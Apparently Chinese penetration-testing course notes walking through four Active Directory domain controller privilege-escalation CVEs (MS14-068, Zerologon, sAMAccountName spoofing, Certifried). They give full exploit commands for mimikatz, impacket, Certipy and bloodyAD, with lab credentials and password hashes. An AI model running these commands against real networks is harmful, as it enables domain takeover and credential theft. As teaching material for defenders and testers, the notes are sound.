权限提升-Win系统权限提升篇AD内网域控NetLogonADCSPACKDCCVE漏洞

知识点

1、WIN-域内用户到AD域控-CVE-2014-6324
2、WIN-域内用户到AD域控-CVE-2020-1472
3、WIN-域内用户到AD域控-CVE-2021-42287
4、WIN-域内用户到AD域控-CVE-2022-26923

章节点：
1、Web权限提升及转移
2、系统权限提升及转移
3、宿主权限提升及转移
4、域控权限提升及转移

Windows提权：
1、内核溢出漏洞提权
2、数据库类型提权
3、第三方软件应用提权

在这里插入图片描述

基础点

0、为什么我们要学习权限提升转移技术：

简单来说就是达到目的过程中需要用到它

1、具体有哪些权限需要我们了解掌握的：

后台权限
数据库权限
Web权限
计算机用户权限
计算机系统权限
宿主机权限
域控制器权限

2、以上常见权限获取方法简要归类说明：

后台权限：SQL注入，数据库泄漏，弱口令攻击，未授权访问等造成
数据库权限：SQL注入，数据库泄漏，弱口令攻击，未授权访问等造成
Web权限：RCE,反序列化,文件上传等直达或通过后台数据库间接造成
计算机用户权限：弱口令,数据泄漏等直达或通过Web，服务器及域控转移造成
计算机系统权限：系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成
宿主机权限：Docker不安全配置或漏洞权限提升直达（服务资产造成入口后提升）
域控制器权限：内网域计算机用户提升或自身内核漏洞，后门攻击，主机软件安全直达

3、以上常见权限获取后能操作的具体事情：

后台权限：文章管理，站点管理，模版管理，数据管理，上传管理等
数据库权限：操作数据库的权限，数据增删改查等（以数据库用户为主）
Web权限：源码查看，源码文件增删改查，磁盘文件文件夹查看(以权限配置为主)
计算机用户权限：就如同自己电脑上普通用户能操作的情况（敏感操作会被禁止）
计算机系统权限：就如同自己电脑上能操作的情况（整个系统都是你的）
宿主机权限：就如同自己电脑上能操作的情况（整个系统都是你的）
域控制器权限：就如同自己电脑上能操作的情况（整个内网域系统都是你的）

4、以上常见权限在实战中的应用场景介绍：

当我们通过弱口令进入到应用后台管理
当我们下载备份文件获取到数据库信息
当我们通过漏洞拿到资产系统的Web权限
当我们在公司被给予账号密码登录计算机或系统
当我们在公司或钓鱼后门获取到某个公司机器系统
.....................................

实战场景：

通过技术手段拿下内网域环境下某一台服务器权限或某主机上的域用户账号密码后，
与AD域控网络通讯正常的情况下，可直接使用域控提权CVE漏洞进行域控权限提升。

如何判断目标是否加入域环境？

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
或者

运行 net time /domain 该命令后，一般会有如下三种情况:
1.存在域，但当前用户不是域用户，提示说明权限不够
  C:\Windows>net time /domain
  发生系统错误 5 
  拒绝访问.

2.存在域，并且当前用户是域用户
  C:\Windows\Temp>net time /domain
  \\OWA2010SP3.0day.org 的当前时间是 2020/1/25 16:12:49
  令成功完成。

3.当前网络环境为工作组，不存在域
  C:\Users\Administrator>net time /domain
  找不到域 WORKGROUP 的域控制器。

在这里插入图片描述
在这里插入图片描述

一、演示案例-WIN-AD域控提权-CVE-2014-6324

项目地址

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
https://github.com/gentilkiwi/mimikatz
https://github.com/crupper/Forensics-Tool-Wiki/tree/master/windowsTools

前提条件：需要域用户账号密码

1、 获取域用户SID值

 whoami /user

在这里插入图片描述

2、从域控获取时间，从而得到域控主机名

net time /domain

在这里插入图片描述

3、获取域控IP

ping 域控计算机名

在这里插入图片描述

4、获取当前域用户的一些信息

net config workstation

在这里插入图片描述

5、利用 ms14-068.exe 提权工具生成伪造的 kerberos 协议认证证书

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址
ms14-068.exe -u mary@god.org -p admin!@#45 -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d OWA2010CN-God.god.org

在这里插入图片描述

6、mimikatz导入伪造的 kerberos 协议认证证书

查看当前本地票据

kerberos::list

清理本地票据缓存

kerberos::purge

在这里插入图片描述

导入伪造的 kerberos 协议认证证书

kerberos::ptc "TGT_test02@test.lab.ccache"

在这里插入图片描述
在这里插入图片描述

7、尝试链接域控C盘

dir \\OWA2010CN-God.god.org\C$

在这里插入图片描述

8、使用psexec获取域控cmd权限

psexec \\OWA2010CN-God.god.org cmd

在这里插入图片描述

二、演示案例-WIN-AD域控提权-CVE-2020-1472

项目地址

POC：https://github.com/SecuraBV/CVE-2020-1472
EXP：https://github.com/dirkjanm/CVE-2020-1472
Impacket：https://github.com/fortra/impacket

CVE-2020-1472是继MS17010之后好用的NetLogon特权域控提权漏洞，
影响Windows Server 2008R2至Windows Server 2019的多个版本系统，
只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞.
该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为Windows.

1、漏洞检测

python3 zerologon_tester.py OWA2010CN-GOD 192.168.3.21

在这里插入图片描述

2、重置域控为空密码

python3 cve-2020-1472-exploit.py OWA2010CN-GOD 192.168.3.21

在这里插入图片描述

3、连接后导出域控hash

python3 secretsdump.py god.org/OWA2010CN-GOD\$@192.168.3.21 -no-pass

在这里插入图片描述
在这里插入图片描述

4、WMI连接域控

python3 wmiexec.py god/administrator@192.168.3.21 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7

在这里插入图片描述

注：拿到域控权限后记得恢复域控hash，不然域内主机可能通信会出问题

参考地址：https://cloud.tencent.com/developer/article/2097955

三、演示案例-WIN-AD域控提权-CVE-2021-42287

项目地址

https://github.com/WazeHell/sam-the-admin

前提：只需要域内主机用户账号密码

python3 sam_the_admin.py god/'webadmin:admin!@#45' -dc-ip 192.168.3.21 -shell

在这里插入图片描述
在这里插入图片描述

四、演示案例-WIN-AD域控提权-CVE-2022-26923

项目地址

https://github.com/ly4k/Certipy
https://github.com/CravateRouge/bloodyAD
https://github.com/SecureAuthCorp/impacket

前提条件：
1、一个域内普通账号
2、域内存在证书服务器

Kali添加访问域内信息 /etc/hosts
192.168.3.111 xiaodi.local
192.168.3.111 xiaodi-DC-CA
192.168.3.111 DC.xiaodi.local

域内信息
192.168.3.111
test Pass123  //普通域用户账号密码
xiaodi-DC-CA //ca名
DC.xiaodi.local  //域控名

0、获取CA结构名和计算机名

certutil -config - -ping

在这里插入图片描述

1、申请证书（Certipy工具）

certipy req 'xiaodi.local/test:Pass123@DC.xiaodi.local' -ca xiaodi-DC-CA -template User -debug

在这里插入图片描述

2、检测证书（Certipy工具）

certipy auth -pfx test.pfx

在这里插入图片描述

3、添加用户（bloodyAD工具）

python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.3.111 addComputer pwnmachine 'CVEPassword1234*'

在这里插入图片描述

4、设置属性（bloodyAD工具）

python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.3.111 setAttribute 'CN=pwnmachine,CN=Computers,DC=xiaodi,DC=local' dNSHostName '["DC.xiaodi.local"]'

在这里插入图片描述

5、申请证书（Certipy工具）

certipy req 'xiaodi.local/pwnmachine$:CVEPassword1234*@192.168.3.111' -template Machine -dc-ip 192.168.3.111 -ca xiaodi-DC-CA -debug

在这里插入图片描述

6、检测证书：（Certipy工具）

certipy auth -pfx ./dc.pfx -dc-ip 192.168.3.111

在这里插入图片描述

7、获取HASH（impacket工具）

python3 secretsdump.py 'xiaodi.local/dc$@DC.xiaodi.local' -hashes :b6046c1026699b59301ff66341838df4

在这里插入图片描述

8、利用HASH（impacket工具）

python3 wmiexec.py xiaodi.local/administrator@192.168.3.111 -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd

在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/496800.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

Git命令上传本地项目至github

Git命令上传本地项目至github

记录如何创建个人仓库并上传已有代码至github in MacOS环境 0. 首先下载git 方法很多 这里就不介绍了 1. Github Create a new repository 先在github上创建一个空仓库，用于一会儿链接项目文件，按照自己的需求设置name和是否private 2.push an exis…
阅读更多...
指针数组的有趣程序【C语言】

指针数组的有趣程序【C语言】

文章目录 指针数组的有趣程序指针数组是什么？指针数组的魅力指针数组的应用示例：命令行计算器有趣的颜色打印 结语 指针数组的有趣程序 在C语言的世界里，指针是一种强大的工具，它不仅能够指向变量，还能指向数组&#…
阅读更多...
如何利用OpenCV4.9离散傅里叶变换

如何利用OpenCV4.9离散傅里叶变换

返回：OpenCV系列文章目录（持续更新中......） 上一篇:如何利用OpenCV4.9 更改图像的对比度和亮度 下一篇:OpenCV 如何使用 XML 和 YAML 文件的文件输入和输出 目标 我们将寻求以下问题的答案： 什么是傅里叶变换，为什…
阅读更多...
《数据结构学习笔记---第五篇》---链表OJ练习下

《数据结构学习笔记---第五篇》---链表OJ练习下

step1:思路分析 1.实现复制，且是两个独立的复制，我们必须要理清指针之间的逻辑，注意random的新指针要链接到复制体的后面。 2.我们先完成对于结点的复制，并将复制后的结点放在原节点的后面，并链接。 3.完成random结点…
阅读更多...
黑马鸿蒙笔记1

黑马鸿蒙笔记1

这里与前端类似。
阅读更多...
斜率优化dp 笔记

斜率优化dp 笔记

任务安排1 有 N 个任务排成一个序列在一台机器上等待执行，它们的顺序不得改变。 机器会把这 N 个任务分成若干批，每一批包含连续的若干个任务。 从时刻 00 开始，任务被分批加工，执行第 i 个任务所需的时间是 Ti。 另外&#x…
阅读更多...
PHP开发全新29网课交单平台源码修复全开源版本，支持聚合登陆易支付

PHP开发全新29网课交单平台源码修复全开源版本，支持聚合登陆易支付

这是一套最新版本的PHP开发的网课交单平台源代码，已进行全开源修复，支持聚合登录和易支付功能。 项目 地 址 ： runruncode.com/php/19721.html 以下是对该套代码的主要更新和修复： 1. 移除了论文编辑功能。 2. 移除了强国接码…
阅读更多...
linux之进程

linux之进程

一、背景 冯.诺依曼体系结构 输入设备键盘、鼠标、摄像头、话筒、磁盘、网卡...输出设备显示器、声卡、磁盘、网卡...CPU运算器、控制器存储器一般就是内存 数据在计算机的体系结构进行流动，流动过程中，进行数据的加工处理，从一个设备到另一…
阅读更多...
网上兼职赚钱攻略：六种方式让你轻松上手

网上兼职赚钱攻略：六种方式让你轻松上手

在互联网时代，网上兼职已经成为一种非常流行的赚钱方式。对于许多想要在家里挣钱的人来说，网上兼职不仅可以提供灵活的工作时间，还可以让他们在自己的兴趣领域中寻求机会，实现自己的财务自由。 在这里，我将为您介绍六…
阅读更多...
OpenGL 实现“人像背景虚化“效果

OpenGL 实现“人像背景虚化“效果

手机上的人像模式，也被人们称作“背景虚化”或 ”双摄虚化“ 模式，也称为 Bokeh 模式，能够在保持画面中指定的人或物体清晰的同时，将其他的背景模糊掉。突出画面的主体部分，主观上美感更强烈。 人像模式的一般实现原理是，利用双摄系统获取景深信息，并通过深度传感器和图…
阅读更多...
带流量主功能的外卖菜谱小程序源码：助你轻松领取优惠券，个人使用也可通过审查

带流量主功能的外卖菜谱小程序源码：助你轻松领取优惠券，个人使用也可通过审查

外卖菜谱小程序源码-带流量主功能-外卖领劵个人也可过审 这套小程序优点就带很多菜谱，各种你爱吃菜的做法与各类食材介绍营养搭配，相信很多小姐姐会感兴趣。 宝妈宝爸这个小程序肯定能留的住这个群体的人脉流量，这是小程序最大的亮点&#…
阅读更多...
深圳区块链交易所app系统开发,撮合交易系统开发

深圳区块链交易所app系统开发,撮合交易系统开发

随着区块链技术的迅速发展和数字资产市场的蓬勃发展，区块链交易所成为了数字资产交易的核心场所之一。在这个快速发展的领域中，区块链交易所App系统的开发和撮合交易系统的建设至关重要。本文将探讨区块链交易所App系统开发及撮合交易系统的重要性&#…
阅读更多...
【QGIS从shp文件中筛选目标区域导出为shp】

【QGIS从shp文件中筛选目标区域导出为shp】

文章目录 1、写在前面2、QGIS将shp文件中目标区域输出为shp2.1、手动点选2.2、高级过滤 3、上述shp完成后，配合python的shp文件，即可凸显研究区域了 1、写在前面 利用shp文件制作研究区域mask，Matlab版本，请点击 Matlab利用shp文…
阅读更多...
【Leetcode】单链表常见题

【Leetcode】单链表常见题

🔥个人主页：Quitecoder 🔥专栏：Leetcode刷题 本节内容我们来讲解常见的几道单链表的题型，文末会赋上单链表增删查，初始化等代码 目录 1.移除链表元素2.链表的中间节点3.返回倒数第K个节点：4.环…
阅读更多...
【Java - 框架 - Lombok】(1) 普通Java项目通过Lombok+Logback完成日志的创建使用 - 快速上手

【Java - 框架 - Lombok】(1) 普通Java项目通过Lombok+Logback完成日志的创建使用 - 快速上手

普通Java项目通过"Lombok""Logback"完成日志的创建使用 - 快速上手&#xff1b; 步骤A 说明 创建"Maven"项目&#xff1b; 图片 步骤B 说明 添加相关依赖项&#xff1b; 图片 代码 <!-- "Lombok"依赖项--> <dependency>&…
阅读更多...
C语言--动态内存管理

C语言--动态内存管理

为什么存在动态内存管理&#xff1f; 在之前我们讲到的类型创建的变量再空间开辟好之后就不能再改变了&#xff0c;但是有时候我们希望能够自由地为某个变量分配空间&#xff0c;就比如上一篇文章中的通讯录&#xff0c;在没有动态内存管理情况下&#xff0c;我们就只能为通讯…
阅读更多...
18.字面量

18.字面量

文章目录 一、字面量二、区分技巧三、扩展&#xff1a; /t 制表符 一、字面量 在有些资料&#xff0c;会把字面量说成常量、字面值常量&#xff0c;这种叫法都不是很正确&#xff0c;最正确的叫法还是叫做&#xff1a;字面量。 作用&#xff1a;告诉程序员&#xff0c;数据在…
阅读更多...
地物波谱库共享网站汇总

地物波谱库共享网站汇总

ENVI自5.2版本重新梳理了原有的标准波谱库&#xff0c;新增一些物质波谱&#xff0c;在ENVI5.6中存放在…\Harris\ENVI56\ resource\speclib&#xff0c;分别存放在四个文件夹中&#xff0c;储存为ENVI波谱库格式&#xff0c;有两个文件组成&#xff1a;.sli和.hdr。 ENVI保留…
阅读更多...
小米还涉足了哪些领域

小米还涉足了哪些领域

小米作为一家全球性的移动互联网企业&#xff0c;其业务领域相当广泛&#xff0c;除了核心的智能手机业务外&#xff0c;还涉足了许多其他领域。以下是对小米涉足领域的简要介绍&#xff1a; 智能硬件与IoT平台&#xff1a;小米是全球领先的智能硬件和IoT平台公司&#xff0c;致…
阅读更多...
linux：线程同步

linux：线程同步

个人主页 &#xff1a; 个人主页 个人专栏 &#xff1a; 《数据结构》 《C语言》《C》《Linux》 文章目录 前言线程同步条件变量接口简单示例pthread_cond_wait为什么要有mutex伪唤醒问题的解决 (if->while) 总结 前言 本文作为我对于线程同步知识总结 线程同步 同步&…
阅读更多...
最新文章

Copyright @ 2022~2023